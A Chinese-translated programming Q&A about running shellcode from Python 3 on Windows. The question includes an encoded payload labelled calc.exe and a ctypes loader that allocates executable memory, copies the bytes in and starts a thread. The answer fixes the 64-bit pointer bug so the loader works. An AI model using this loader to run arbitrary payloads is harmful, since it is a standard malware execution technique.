python - 如何在 python 3 中运行 shellcode？

Question

我正在尝试在 python 中运行 shellcode，并具有以下有效的 python2 代码，但我需要将其转换为 python3。我修复了所有语法错误(只是缺少字节数组的编码)，它只是给我访问冲突写(地址)

import ctypes
import sys
#calc.exe
sc = ("\xdb\xc3\xd9\x74\x24\xf4\xbe\xe8\x5a\x27\x13\x5f\x31\xc9" 
"\xb1\x33\x31\x77\x17\x83\xc7\x04\x03\x9f\x49\xc5\xe6\xa3" 
"\x86\x80\x09\x5b\x57\xf3\x80\xbe\x66\x21\xf6\xcb\xdb\xf5" 
"\x7c\x99\xd7\x7e\xd0\x09\x63\xf2\xfd\x3e\xc4\xb9\xdb\x71" 
"\xd5\x0f\xe4\xdd\x15\x11\x98\x1f\x4a\xf1\xa1\xd0\x9f\xf0" 
"\xe6\x0c\x6f\xa0\xbf\x5b\xc2\x55\xcb\x19\xdf\x54\x1b\x16" 
"\x5f\x2f\x1e\xe8\x14\x85\x21\x38\x84\x92\x6a\xa0\xae\xfd" 
"\x4a\xd1\x63\x1e\xb6\x98\x08\xd5\x4c\x1b\xd9\x27\xac\x2a" 
"\x25\xeb\x93\x83\xa8\xf5\xd4\x23\x53\x80\x2e\x50\xee\x93" 
"\xf4\x2b\x34\x11\xe9\x8b\xbf\x81\xc9\x2a\x13\x57\x99\x20" 
"\xd8\x13\xc5\x24\xdf\xf0\x7d\x50\x54\xf7\x51\xd1\x2e\xdc" 
"\x75\xba\xf5\x7d\x2f\x66\x5b\x81\x2f\xce\x04\x27\x3b\xfc" 
"\x51\x51\x66\x6a\xa7\xd3\x1c\xd3\xa7\xeb\x1e\x73\xc0\xda" 
"\x95\x1c\x97\xe2\x7f\x59\x67\xa9\x22\xcb\xe0\x74\xb7\x4e" 
"\x6d\x87\x6d\x8c\x88\x04\x84\x6c\x6f\x14\xed\x69\x2b\x92" 
"\x1d\x03\x24\x77\x22\xb0\x45\x52\x41\x57\xd6\x3e\xa8\xf2" 
"\x5e\xa4\xb4")


shellcode=bytearray(sc,'utf-8')
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                            ctypes.c_int(len(shellcode)),
                                            ctypes.c_int(0x3000),
                                            ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                        buf,
                                        ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                            ctypes.c_int(0),
                                            ctypes.c_int(ptr),
                                            ctypes.c_int(0),
                                            ctypes.c_int(0),
                                            ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

编辑:添加了错误日志

$ python .\sad.py
Traceback (most recent call last):
  File ".\sad.py", line 34, in <module>
    ctypes.c_int(len(shellcode)))
OSError: exception: access violation writing 0x0000000043750000

Answer 1

当您使用参数 ctypes.c_int(ptr) 调用 RtlMoveMemory 时出现此错误。

ctypes 是一个外部函数库和一个 FFI(外部函数接口(interface))，因为 Virtualalloc 没有原型(prototype)，你必须自己做。对于 C FFI(关于参数和结果)，整数的默认行为是将整数转换为 c_int，它在 Windows 上是 c_long 的别名，有符号32 位整数。但是现在，我们有 64 位系统和 64 位地址内存，如果内存地址太高，你不能存储在 4 个字节上。因此，您需要使用处理 64 位的类型显式设置 VirtualAlloc 的结果类型:

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                            ctypes.c_int(len(shellcode)),
                                            ctypes.c_int(0x3000),
                                            ctypes.c_int(0x40))

然后 RtlMoveMemory 将期望一个指向由 VirtualAlloc 返回的地址的指针:

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr),
                                        buf,
                                        ctypes.c_int(len(shellcode)))